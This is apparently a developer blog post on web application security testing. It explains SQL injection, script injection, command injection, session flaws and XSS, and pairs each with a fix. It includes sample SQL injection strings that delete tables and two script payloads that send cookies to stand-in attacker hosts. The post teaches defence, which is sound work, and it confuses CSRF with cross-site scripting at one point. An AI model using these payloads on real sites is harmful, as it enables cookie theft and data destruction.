Malicious users are everywhere on the internet, and most of them are undetectable from ordinary people. Stealing personal information and data is happening every day, all over.
In other words, chances are, anybody on the internet is potentially being watched, in terms of data, they are sharing, uploading, or receiving.
Users whose personal accounts have been hacked take the extra precaution of changing passwords or using more secure firewalls, yet there's no guarantee that they won't face a similar calamity again. Hence arises the question, what security measures to take, which can avert such breaches in the future?
Reading further, you will come across information you are already acquainted with as a developer but not practicing in most cases. It is time you start checking your codes from the vulnerability point of view as well. During the software development lifecycle (SDLC), numerous small openings are either ignored or never tested from the vulnerability ends.
For instance, many websites do not allow special characters to be included as passwords. Why should it be so? You are making it easier for the hacker to guess the passwords. Another example is that not every button of the application is tested by the Quality Assurance team from a security testing perspective. The reviews section of the registration page of your website or the comment section of your blog page can be very easily used to inject bugs; how many times does your QA team care to test these?
What is Web Application Security Testing?
Ever thought about where lies the credibility of the websites that promise uncompromised security to their clients when they cannot protect their own? The focus should be on finding loopholes in the application's safety when built; rather than pondering how to strengthen the firewall when the fortress has already been breached.
The fun part of the story is that these bugs which become the gateway for hackers are usually critical mistakes by the developers. Many cases of website hacking in front of us make you question the immunity of sharing or storing data on the Internet and clouds. Some pretty recent incidents which have made headlines and become topics of significant discussions have raised these security concerns. Whether it is the most widely used Gmail, eBay, Adobe, LinkedIn, or iCloud, nothing is secure as you have been expecting it to be.
[Tweet "Without proper security testing, an application has only been half-tested."]
After attending a seminar with the OWASP team, I realized that although we think we are following the best Quality Assurance methods yet there are ambiguities overlooked on our part as developers and lead to disasters for the client later stage. It is time we hand down the necessity of best practices that are going unnoticed in most cases.
Let me explain with an example:
The usual wrong approach:
string commandText = "SELECT * FROM Product "+ "WHERE ProductName= '"+ productName +"'";
Since, this query is fully expandable the hacker can easily inject SQL in the ProductName (input) like:
SELECT * FROM Product WHERE ProductName = ''; DELETE Orders;
The right approach is applying the simple technique of parameterized queries.
string commandText = "SELECT * FROM Product "+ "WHERE ProductName = @ProductName";SqlCommand cmd = new SqlCommand(commandText, conn);cmd.Parameters.Add("@ProductName",productName);
This will save our clients and users from big menaces.
The below-mentioned list of vulnerabilities is the most common impact of coding carelessness, at the hands of developers. The list is long hence we will be covering a few critical ones here.
Injections
When the control plane data is injected into the user-controlled data plane, it modifies the control flow of the process; it results in the disclosure of user and data-sensitive information. Injection issues occur mainly due to logic errors, caused either due to lack of knowledge or the habit of doing innovative work when cautiousness is required. Amongst other threats caused due to injection problems, there are data loss, jeopardized authentication, and loss of data integrity. It is broadly classified under these three categories:
- Code Injection
Improper validation of data is the leading cause of code injection; a code is inserted into the application, which is later executed by leading to loss of availability and accountability. Inaccuracy when validating data formats or the extent of predictable data leaves the gap for the hackers to tamper and use code injections.
Amongst the varied types of code injection, I have pointed out the primary two here:
- a) SQL Injection
The commonest injection in ASP and PHP, an SQL query is injected through the input data from the client to the application. An SQL injection can affect the performance of predefined SQL commands. It can lead to destroying data or making it unavailable; the hacker can even become the database server administrator.
For instance, there are two fields in your table: ID and the other for Comment String, which you will commonly insert in the below-mentioned format.
INSERT INTO COMMENTS VALUES(1,'Hello World!');
However, consider someone entering the following comment:
'); DELETE FROM blogs; --
If you have been careless and not used parameterized SQL queries in your comment string, then your single query can easily be changed into two.
INSERT INTO COMMENTS VALUES(1,''); DELETE FROM blogs;--');
It will delete everything from your blog's table; hence use parameterized SQL queries to prevent this.
- b) HTML Script Injection
Another form of the Code Injection method is the result of improper user-supplied data handling. The hacker inserts their content into the page using valid HTML values, often parameterized. The attacker creates malignant content along with HTML codes and sends it to the user. The receiver takes it to be coming from a trusted source and clicks on it. As soon as the user fills in his username and password, it reaches the hacker, causing a massive loss to the former.
Hacker can inject the HTML script via input like:
Hello World! This is my comment <script>document.location="https://attacker_website/read_cookies.cgi?" + document.cookie</script>
The above HTML script is posting cookie data on the attacker_website. In order to avoid this situation, one should validate the data properly or use HTML encoding as shown below.
String result = Server.HtmlEncode("<script>unsafe</script>");
- Command Injection
Inserting the command injection in the host application is possible when passing unsafe cookies to a system shell. The motive of the hacker usually is implementing random commands on the operating system of the host. Although the hacker cannot add his code, as is the case with code injection, it points out that your application is vulnerable.
public void ExecuteCommand(String myStr) {
ProcessStartInfo processStartInfo = new ProcessStartInfo("My.exe");
processStartInfo.Arguments = myStr;
processStartInfo.UseShellExecute = true;
processStartInfo.Start(processStartInfo);
}
Most languages have programming objects that can run other code. In the code mentioned above, My.exe can access cmd.exe on windows, allowing the hacker to take over the server where the application is hosted easily. To avoid these kinds of injections, it is advisable to use libraries or DLLs instead of code files.
- Broken Authentication and Session Management
For developers who often prefer to create their session tokens, although most application development environments have the session capability, it becomes riskier. Suppose your session identifiers and authentication credentials have not been protected with Secure Sockets Layer (SSL), from defects like cross-site scripting (elaborated below). In that case, the hacker can quickly break-in into a running session posing as a user.
- Cross-Site Scripting
CSRF or Cross-Site Request Forgery makes the user execute undesired actions on a web application with the aid of social engineerings, such as sending malicious links via mail or chat. This must-have happened with many of you. Here I will explain why it happens even when you take the precaution of using a secret cookie.
Generally, cross-site scripting happens when a hacker sends malicious codes or links to the end-user, usually in a browser-side script. XSS can lead to some significant issues like disclosing the data in secured files, sending out malicious links from the account of the end-user, ultimately compromising the whole report, inserting viruses into the database, etc.
The XSS code is injected into an unquestionable user, and the browser runs the script taking that it comes from a trusted source. This script then accesses the user's session tokens, cookies, and all that the user has stored and browsed. Thus, modifying everything and sending out nasty emails.
Even your secure cookies will not be helpful since XSS code will have access to all your details; the only way is to perform a security review of the code.
<a href="https://www.mysite.com/mypage.aspx?key=<script> document.location.replace( 'https://www.hack_site.com/HackerPage.aspx?Cookie=' + document.cookie);</script>">Click here for your prize</a>
The above-shown code is sending cookie data to hack_site.com. In .net pages, we can enable the ValidateRequest to secure websites. If you are disabling ValidateRequest then make sure that the data entered by the user is validated or managed by using HttpUtility.HtmlEncode.
Why Is Web App Security Testing Crucial?
If appropriately used, the Web is a valuable tool to grow your business. But when improperly, the Internet calls out to be the most dangerous place.
To gain access to private data, attackers exploit web application security vulnerabilities. Organizations must go to even more extraordinary lengths to protect websites and apps than they do to protect their computers and other network-connected devices.
Prevents from loss of sensitive data
An organization, small or large, cannot afford to lose its confidential information. It not only tarnishes their brand but poses a serious threat to their existence.
Cybercriminals constantly look for sensitive data to steal. If these web applications are not secure, they can be exploited by cybercriminals to steal sensitive business information.
Secures Business Reputation
With more than a billion websites and users on the internet, they are dependent on search engines. Users put faith in search engines to keep their data (personal & professional information) safe.
If a website gets hacked, businesses not only lose data but valuable customers along with their faith.
To regain it takes a significant amount of time, multiple efforts, and no guarantee, which a business cannot afford.
Some Protection Measures
As goes the saying, a stitch in time saves time. I want to put forward these easy to adopt security tools and ethics for my fellow developers:
1. Headers
Using secured HTTP headers is one of the best practices for making safe your connections to the server. Applying titles in the web server configuration such as Apache, Nginx, etc., is considered helpful if you want to strengthen the defense mechanisms of your new applications.
For instance, X-Frame-Options denies rendering within one frame; does not render if the origins do not match but allow rendering when carried out frame by frame from the domain. The other secured headers that can be used are X-Content-Type-Options, Strict-Transport-Security.
2. Password Protection Measures
There should be no restriction on the password strength, i.e., the size and complexity of characters. Moreover, the storage of passwords should be in encrypted form, preferably in the hashed format, because it is irreversible. A definite number of login attempts and informing the user of the timings of their logins and failed login attempts are commonly applied helpful secured practices.
3. Secured Session ID
Guarding your session transit with the help of SSL is amongst the best ways to save your day. The session id should ideally be never included in the URL, and they should be long enough that it makes them impossible to be guessed. Never accept a session-id suggested by a user!
4. Avoiding Hidden Components
Authentication of every component is vital; applying robust procedural and architecture mechanisms prevents the misuse of site architecture as it progresses over time. Using the no-cache tag deters from going back to the login page using the back button and obtaining the resubmitted user credentials.
These are simple measures if taken that will keep you on the safer side.
Conclusion
Web Application Security testing should be an integral part of the QA process, and no aspect should be left unquestioned to ensure secured web application development. With every enterprise focusing on [providing quality software development services](https://www.netsolutions.com/software-development-company), we also need to focus on making it equally well-protected against any hacking attempts. Suppose you have been following the recent accidents which have left many big enterprises baffled. In that case, you will quickly gauge the severity of the loss of data into filthy hands. It is getting highly critical for us developers to learn, teach and practice the best ways of secure coding when creating applications.
As a developer who has earned his way to becoming the Project Lead, I believe it lies in our hands how to ensure optimum security to our clients and their end-users. Another tip that I would like to conclude with, something which I say to all my co-workers and juniors, 'Until you think like a hacker you will not know which security measures to apply that will prevent such incidents; and you will end up leaving a crack for the attacker.'
Top comments (0)